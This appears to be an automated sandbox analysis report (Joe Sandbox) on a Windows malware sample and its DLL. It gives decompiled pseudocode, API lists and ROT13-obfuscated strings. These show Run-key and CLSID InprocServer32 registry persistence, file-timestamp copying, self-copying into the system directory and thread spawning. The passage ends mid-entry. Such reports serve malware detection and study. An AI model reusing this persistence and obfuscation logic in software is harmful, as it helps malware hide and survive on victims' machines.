Opcode Fuzzy Hash: de0745b6355624464966b3122e120d1e1f8d0595332210ddc19a5d1648e15264
Instruction Fuzzy Hash: 0341A5B14087019AD700BF29C19935FBFF4BB84358F51892EE8986B282D7798249CF97

Uniqueness

Uniqueness Score: -1.00%

Function 1000237F Relevance: 13.6, APIs: 9, Instructions: 63
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rot13.SHERVANS ref: 1000239A

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

add_system_direcroty.SHERVANS ref: 100023B4

Part of subcall function 10002209: memset.MSVCRT ref: 10002226
Part of subcall function 10002209: GetSystemDirectoryA.KERNEL32 ref: 10002232
Part of subcall function 10002209: lstrlen.KERNEL32 ref: 1000223D
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002257
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002269

rot13.SHERVANS ref: 100023CA
rot13.SHERVANS ref: 100023E0
RegOpenKeyExA.ADVAPI32 ref: 1000240A
RegOpenKeyExA.ADVAPI32 ref: 1000243B
lstrlen.KERNEL32 ref: 10002450
RegSetValueExA.ADVAPI32 ref: 10002484
RegCloseKey.ADVAPI32 ref: 10002495

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: rot13$Openlstrcatlstrlen$CloseDirectorySystemValueadd_system_direcrotymemsetrot13c
String ID:
API String ID: 2120556822-0
Opcode ID: 438b2a9e79fb397ef7d0b9817d5b90411af66317ef6a23131a517141560c654b
Instruction ID: bdddcc0189fc53d49cb0cefcea4d87ad964771471e55bb7797a486d5498b6d1c
Opcode Fuzzy Hash: 438b2a9e79fb397ef7d0b9817d5b90411af66317ef6a23131a517141560c654b
Instruction Fuzzy Hash: 6D31D7B48083159FE710EF64C98579EFBF4EF45384F40896DE88883246E7759A888F42

Uniqueness

Uniqueness Score: -1.00%

Function 00405776 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00405796
CreateProcessA.KERNEL32 ref: 004057F8
WaitForSingleObject.KERNEL32 ref: 0040581D
CloseHandle.KERNEL32 ref: 0040582B
CloseHandle.KERNEL32 ref: 00405839

Strings

D, xrefs: 0040579B
D, xrefs: 00405783

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: CloseHandle$CreateObjectProcessSingleWaitmemset
String ID: D$D
API String ID: 1209732917-143366177
Opcode ID: e2f293ddd65cc38ae5e984d70982910eef1ea10c3a02e6e8841cc2a871050653
Instruction ID: a424a9ca423c88ebceb4bf93d4a85606f6dbc14dab7ded7620f51e0c80248426
Opcode Fuzzy Hash: e2f293ddd65cc38ae5e984d70982910eef1ea10c3a02e6e8841cc2a871050653
Instruction Fuzzy Hash: 1D11A4B0904305DBEB00EF69C58935EBBF0BB44318F008A2DE894AB281D3799588CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00405DC4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404620: memset.MSVCRT ref: 0040463D
Part of subcall function 00404620: GetSystemDirectoryA.KERNEL32 ref: 00404649
Part of subcall function 00404620: lstrlen.KERNEL32 ref: 00404654
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 0040466E
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 00404680

CreateFileA.KERNEL32 ref: 00405E5E
ExitProcess.KERNEL32 ref: 00405E7E
CloseHandle.KERNEL32 ref: 00405E9E

Strings

user32.dll, xrefs: 00405EB4
pgszra.rkr, xrefs: 00405DCF, 00405E15
Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha, xrefs: 00405DFF

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrcat$CloseCreateDirectoryExitFileHandleProcessSystemlstrlenmemset
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha$pgszra.rkr$user32.dll
API String ID: 1778546552-2563098034
Opcode ID: d7d64c2d6549dae37b7de272fb7fced938c3fb5e6f3e1c4ca9f739a992c91a64
Instruction ID: 8ce02ae271826c0af2d77be6dc83fb0dca404b62b159729ddab96385648218ed
Opcode Fuzzy Hash: d7d64c2d6549dae37b7de272fb7fced938c3fb5e6f3e1c4ca9f739a992c91a64
Instruction Fuzzy Hash: F3212AB08097049AD710BF21C58538EBBF4AF84358F41897EE9C867281D7BD858C8F96

Uniqueness

Uniqueness Score: -1.00%

Function 00403F24 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E00403F24(int _a4) {
				void* _v12;
				char _v140;
				void* _v144;
				void* _v172;
				void* _v176;
				void* _v180;
				void* _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				int _v196;
				int _v200;
				int _v204;
				long _t28;
				char* _t36;
				int _t37;
				int _t38;
				void* _t39;
				void* _t41;
				intOrPtr* _t42;

				_t38 = _a4;
				_v200 = "PYFVQ\\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\\VacebpFreire32";
				_t36 =  &_v140;
				_v204 = _t36;
				E00404C38();
				_t28 = RegOpenKeyExA(0x80000000, _t36, 0, 0x20006,  &_v144); // executed
				_t41 = _t39 - 0xac;
				if(_t28 == 0) {
					L2:
					_v204 = _t38;
					L0040C310();
					_t42 = _t41 - 4;
					_v188 = _t28 + 1;
					_v192 = _t38;
					_v196 = 1;
					_v200 = 0;
					_v204 = 0;
					 *_t42 = _v144; // executed
					RegSetValueExA(??, ??, ??, ??, ??, ??); // executed
					 *((intOrPtr*)(_t42 - 0x18)) = _v144;
					RegCloseKey(??);
					_t37 = 1;
				} else {
					_t28 = RegCreateKeyExA(0x80000000, _t36, 0, 0, 0, 0x20006, 0,  &_v144, 0); // executed
					_t41 = _t41 - 0x24;
					_t37 = 0;
					if(_t28 == 0) {
						goto L2;
					}
				}
				return _t37;
			}

0x00403f2f
0x00403f32
0x00403f3a
0x00403f40
0x00403f43
0x00403f6d
0x00403f72
0x00403f77
0x00403fcf
0x00403fcf
0x00403fd2
0x00403fd7
0x00403fdb
0x00403fdf
0x00403fe3
0x00403feb
0x00403ff3
0x00404001
0x00404004
0x00404012
0x00404015
0x0040401d
0x00403f79
0x00403fbe
0x00403fc3
0x00403fc6
0x00403fcd
0x00000000
0x00000000
0x00403fcd
0x0040402a

APIs

RegOpenKeyExA.ADVAPI32 ref: 00403F6D
RegCreateKeyExA.ADVAPI32 ref: 00403FBE
lstrlen.KERNEL32 ref: 00403FD2
RegSetValueExA.ADVAPI32 ref: 00404004
RegCloseKey.ADVAPI32 ref: 00404015

Strings

PYFVQ\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\VacebpFreire32, xrefs: 00403F32

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: CloseCreateOpenValuelstrlen
String ID: PYFVQ\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\VacebpFreire32
API String ID: 2036214137-2655177054
Opcode ID: 2297313f48ad8b5e75c594d751e4000a98a3ca6776ebaf8159479c7c2d1928ac
Instruction ID: 019c3a761b18c338743e8a7ff589e139028416f66cb1f4fe329e007e5a71a312
Opcode Fuzzy Hash: 2297313f48ad8b5e75c594d751e4000a98a3ca6776ebaf8159479c7c2d1928ac
Instruction Fuzzy Hash: FB21E6B08083159BE710EF25C58535ABBF4BB84348F00896EE88897281E77996488F92

Uniqueness

Uniqueness Score: -1.00%

Function 10002C6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 32
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rot13.SHERVANS ref: 10002C88

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

add_system_direcroty.SHERVANS ref: 10002CA2

Part of subcall function 10002209: memset.MSVCRT ref: 10002226
Part of subcall function 10002209: GetSystemDirectoryA.KERNEL32 ref: 10002232
Part of subcall function 10002209: lstrlen.KERNEL32 ref: 1000223D
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002257
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002269

rot13.SHERVANS ref: 10002CB2
add_system_direcroty.SHERVANS ref: 10002CCC
CopyFileA.KERNEL32 ref: 10002CE0

Strings

Q, xrefs: 10002CA7

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: add_system_direcrotylstrcatrot13$CopyDirectoryFileSystemlstrlenmemsetrot13c
String ID: Q
API String ID: 3463403391-744326856
Opcode ID: d1462803fd1594007a36cfd28d3d3262525f9da5aeb8e3b0d4e208ca5beb545e
Instruction ID: 7dd5af438896393a7b97c0d8831b646f0bd0cf5f1eb72a97525d081a71af1fe0
Opcode Fuzzy Hash: d1462803fd1594007a36cfd28d3d3262525f9da5aeb8e3b0d4e208ca5beb545e
Instruction Fuzzy Hash: 450119B4408715AAD700EF61D9C529EFFB4EF44790F41885DE88847206D775A688CB83

Uniqueness

Uniqueness Score: -1.00%

Function 0040435C Relevance: 9.1, APIs: 6, Instructions: 71filetimeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404399
GetFileTime.KERNEL32 ref: 004043CD
CloseHandle.KERNEL32 ref: 004043E5
CreateFileA.KERNEL32 ref: 00404423
SetFileTime.KERNEL32 ref: 00404453
CloseHandle.KERNEL32 ref: 00404467

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: d53e2d7dcfffd8f13f9bdb4c7b018601c53aa096df535a78fcbe3ea045a6c83a
Instruction ID: 821c52c15d2594163c2509e09139001ce0ed311c0e70272f4ce7e626a9184330
Opcode Fuzzy Hash: d53e2d7dcfffd8f13f9bdb4c7b018601c53aa096df535a78fcbe3ea045a6c83a
Instruction Fuzzy Hash: B0210AB09083019BE700EF39C59535BBFE4AB84358F008A3DE994973D2E779C648CB96

Uniqueness

Uniqueness Score: -1.00%

Function 10002278 Relevance: 9.1, APIs: 6, Instructions: 59
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E10002278(int _a4) {
				void* _v12;
				char _v140;
				void* _v144;
				void* _v172;
				void* _v176;
				void* _v180;
				void* _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				int _v196;
				int _v200;
				int _v204;
				long _t28;
				char* _t36;
				int _t37;
				int _t38;
				void* _t39;
				void* _t41;
				intOrPtr* _t42;

				_t38 = _a4;
				_v200 = "PYFVQ\\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\\VacebpFreire32";
				_t36 =  &_v140;
				_v204 = _t36;
				E10001F26();
				_t28 = RegOpenKeyExA(0x80000000, _t36, 0, 0x20006,  &_v144); // executed
				_t41 = _t39 - 0xac;
				if(_t28 == 0) {
					L2:
					_v204 = _t38;
					L10003570();
					_t42 = _t41 - 4;
					_v188 = _t28 + 1;
					_v192 = _t38;
					_v196 = 1;
					_v200 = 0;
					_v204 = 0;
					 *_t42 = _v144; // executed
					RegSetValueExA(??, ??, ??, ??, ??, ??); // executed
					 *((intOrPtr*)(_t42 - 0x18)) = _v144; // executed
					RegCloseKey(??); // executed
					_t37 = 1;
				} else {
					_t28 = RegCreateKeyExA(0x80000000, _t36, 0, 0, 0, 0x20006, 0,  &_v144, 0);
					_t41 = _t41 - 0x24;
					_t37 = 0;
					if(_t28 == 0) {
						goto L2;
					}
				}
				return _t37;
			}

0x10002283
0x10002286
0x1000228e
0x10002294
0x10002297
0x100022c1
0x100022c6
0x100022cb
0x10002323
0x10002323
0x10002326
0x1000232b
0x1000232f
0x10002333
0x10002337
0x1000233f
0x10002347
0x10002355
0x10002358
0x10002366
0x10002369
0x10002371
0x100022cd
0x10002312
0x10002317
0x1000231a
0x10002321
0x00000000
0x00000000
0x10002321
0x1000237e

APIs

rot13.SHERVANS ref: 10002297

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

RegOpenKeyExA.ADVAPI32 ref: 100022C1
RegCreateKeyExA.ADVAPI32 ref: 10002312
lstrlen.KERNEL32 ref: 10002326
RegSetValueExA.ADVAPI32 ref: 10002358
RegCloseKey.ADVAPI32 ref: 10002369

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: CloseCreateOpenValuelstrlenrot13rot13c
String ID:
API String ID: 327323149-0
Opcode ID: 59e43c6821ea99cefc5617d5e071f6ef7f515ecb0e1053861fa941e5bf295870
Instruction ID: 0f2e1fea51bb9d7b4591eaea7ef700760b1debe67a353b116e3d9409648ad131
Opcode Fuzzy Hash: 59e43c6821ea99cefc5617d5e071f6ef7f515ecb0e1053861fa941e5bf295870
Instruction Fuzzy Hash: 2F21D8B48083159BE710EF25D54574FBBF8FB44394F40C96DE88887245E77996488F92

Uniqueness

Uniqueness Score: -1.00%

Function 00403D26 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00403D7B
RegCloseKey.ADVAPI32 ref: 00403D90
RegCreateKeyExA.ADVAPI32 ref: 00403E00
RegCloseKey.ADVAPI32 ref: 00403E15

Strings

Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba, xrefs: 00403D30

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: Close$CreateOpen
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba
API String ID: 1299239824-3858799484
Opcode ID: 48896b124bd474820f71979e4f946ad337c52b0363e5182aa0eb181ed28b56a5
Instruction ID: 372c3b0a06c6ee96941f7226abfc86991cfccc6d41bd2ee5df839bccf0e05334
Opcode Fuzzy Hash: 48896b124bd474820f71979e4f946ad337c52b0363e5182aa0eb181ed28b56a5
Instruction Fuzzy Hash: 502131B0914315CEE710EF35C58579ABBF8BB44308F408A7EE484E7281E779C6888F52

Uniqueness

Uniqueness Score: -1.00%

Function 10002EC6 Relevance: 7.6, APIs: 5, Instructions: 56
threadCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E10002EC6(intOrPtr _a4, intOrPtr _a8) {
				char _v8;
				char* _v24;
				char* _v28;
				char* _v32;
				char* _v36;
				char* _v40;
				struct _SECURITY_ATTRIBUTES* _v44;
				struct _SECURITY_ATTRIBUTES* _v48;
				intOrPtr _v52;
				struct _SECURITY_ATTRIBUTES* _v56;
				void* _t46;

				if(_a8 == 1) {
					 *0x10006094 = _a4;
					_v24 =  &_v8;
					CreateThread(0, 0, E10002EA8, 0, 0); // executed
					_v28 =  &_v8;
					CreateThread(0, 0, E10002020, 0, 0); // executed
					_v32 =  &_v8;
					CreateThread(0, 0, E100029B8, 0, 0); // executed
					_v36 =  &_v8;
					CreateThread(0, 0, E10002A60, 0, 0); // executed
					_v40 =  &_v8;
					_v44 = 0;
					_v48 = 0;
					_v52 = E10002CEF;
					_v56 = 0;
					 *(_t46 - 0xffffffffffffffd0) = 0; // executed
					CreateThread(??, ??, ??, ??, ??, ??); // executed
					return 1;
				}
				return 1;
			}

0x10002ed5
0x10002ede
0x10002ee6
0x10002f11
0x10002f1c
0x10002f47
0x10002f52
0x10002f7d
0x10002f88
0x10002fb3
0x10002fbe
0x10002fc2
0x10002fca
0x10002fd2
0x10002fda
0x10002fe2
0x10002fe9
0x00000000
0x10002ff1
0x10002ff7

APIs

CreateThread.KERNEL32 ref: 10002F11
CreateThread.KERNEL32 ref: 10002F47
CreateThread.KERNEL32 ref: 10002F7D
CreateThread.KERNEL32 ref: 10002FB3
CreateThread.KERNEL32 ref: 10002FE9

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: db1163f0d3c2b5508896f4cc3b28de1abc3cefb256ba2f04d419c1cc24af5f4c
Instruction ID: 15f36a74acdf4c5ebf03c8018694f62f40f6a90330da7fbec1f69af9675bd8bc
Opcode Fuzzy Hash: db1163f0d3c2b5508896f4cc3b28de1abc3cefb256ba2f04d419c1cc24af5f4c
Instruction Fuzzy Hash: 68217EB4409345AFE300EF24C65934FBFF4EB84785F40891DE4985B285E3BA9A489F93

Uniqueness

Uniqueness Score: -1.00%

Function 00404690 Relevance: 7.6, APIs: 5, Instructions: 50
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00404690(char* _a4, intOrPtr _a8, char _a12) {
				void* _v12;
				void* _v16;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				int _v40;
				char _v44;
				long _t23;
				long _t29;
				char* _t31;
				char _t32;
				void* _t33;
				void* _t35;
				intOrPtr* _t36;

				_t31 = _a4;
				_t32 = _a12;
				_t23 = RegOpenKeyExA(0x80000002, _t31, 0, 0x20006,  &_v16); // executed
				_t35 = _t33 - 0xc;
				if(_t23 == 0) {
					L2:
					_v44 = _t32;
					L0040C310();
					_t36 = _t35 - 4;
					_v28 = _t23 + 1;
					_v32 = _t32;
					_v36 = 1;
					_v40 = 0;
					_v44 = _a8;
					 *_t36 = _v16; // executed
					RegSetValueExA(??, ??, ??, ??, ??, ??); // executed
					 *((intOrPtr*)(_t36 - 0x18)) = _v16;
					_t29 = RegCloseKey(??);
				} else {
					_t29 = RegOpenKeyExA(0x80000001, _t31, 0, 0x20006,  &_v16);
					_t35 = _t35 - 0x14;
					if(_t29 == 0) {
						goto L2;
					}
				}
				return _t29;
			}

0x00404698
0x0040469b
0x004046c0
0x004046c5
0x004046ca
0x004046fa
0x004046fa
0x004046fd
0x00404702
0x00404706
0x0040470a
0x0040470e
0x00404716
0x00404721
0x00404728
0x0040472b
0x00404736
0x00404739
0x004046cc
0x004046ee
0x004046f3
0x004046f8
0x00000000
0x00000000
0x004046f8
0x00404747

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,00403CA0), ref: 004046C0
RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00403CA0), ref: 004046EE
lstrlen.KERNEL32 ref: 004046FD
RegSetValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00403CA0), ref: 0040472B
RegCloseKey.ADVAPI32 ref: 00404739

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: Open$CloseValuelstrlen
String ID:
API String ID: 1812710942-0
Opcode ID: f1a880515f559899bd4e2589cbcf0413c90a96f87d2e0a2aac5912ecd81a10fa
Instruction ID: 9df0ca142f19effaadb1cf883799336216af180bd5b83d8b0879c3bebcc9d83d
Opcode Fuzzy Hash: f1a880515f559899bd4e2589cbcf0413c90a96f87d2e0a2aac5912ecd81a10fa
Instruction Fuzzy Hash: A711D4B0808315AFD700EF69C58535EBBF4FB84358F40892EEC9897241E37996488B92

Uniqueness

Uniqueness Score: -1.00%

Function 1000274E Relevance: 7.6, APIs: 5, Instructions: 50
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E1000274E(char* _a4, intOrPtr _a8, char _a12) {
				void* _v12;
				void* _v16;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				int _v40;
				char _v44;
				long _t23;
				long _t29;
				char* _t31;
				char _t32;
				void* _t33;
				void* _t35;
				intOrPtr* _t36;

				_t31 = _a4;
				_t32 = _a12;
				_t23 = RegOpenKeyExA(0x80000002, _t31, 0, 0x20006,  &_v16);
				_t35 = _t33 - 0xc;
				if(_t23 == 0) {
					L2:
					_v44 = _t32;
					L10003570();
					_t36 = _t35 - 4;
					_v28 = _t23 + 1;
					_v32 = _t32;
					_v36 = 1;
					_v40 = 0;
					_v44 = _a8;
					 *_t36 = _v16; // executed
					RegSetValueExA(??, ??, ??, ??, ??, ??); // executed
					 *((intOrPtr*)(_t36 - 0x18)) = _v16;
					_t29 = RegCloseKey(??);
				} else {
					_t29 = RegOpenKeyExA(0x80000001, _t31, 0, 0x20006,  &_v16);
					_t35 = _t35 - 0x14;
					if(_t29 == 0) {
						goto L2;
					}
				}
				return _t29;
			}

0x10002756
0x10002759
0x1000277e
0x10002783
0x10002788
0x100027b8
0x100027b8
0x100027bb
0x100027c0
0x100027c4
0x100027c8
0x100027cc
0x100027d4
0x100027df
0x100027e6
0x100027e9
0x100027f4
0x100027f7
0x1000278a
0x100027ac
0x100027b1
0x100027b6
0x00000000
0x00000000
0x100027b6
0x10002805

APIs

RegOpenKeyExA.ADVAPI32 ref: 1000277E
RegOpenKeyExA.ADVAPI32 ref: 100027AC
lstrlen.KERNEL32 ref: 100027BB
RegSetValueExA.ADVAPI32 ref: 100027E9
RegCloseKey.ADVAPI32 ref: 100027F7

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: Open$CloseValuelstrlen
String ID:
API String ID: 1812710942-0
Opcode ID: 8076f9db43a5ac6dba544c66358812596f95421586db3cef0b3e8a3b3525caf9
Instruction ID: a357a9c538cd1e9a3b197412e68688e2a35a0a2f8c1334e24df635a0a12a9609
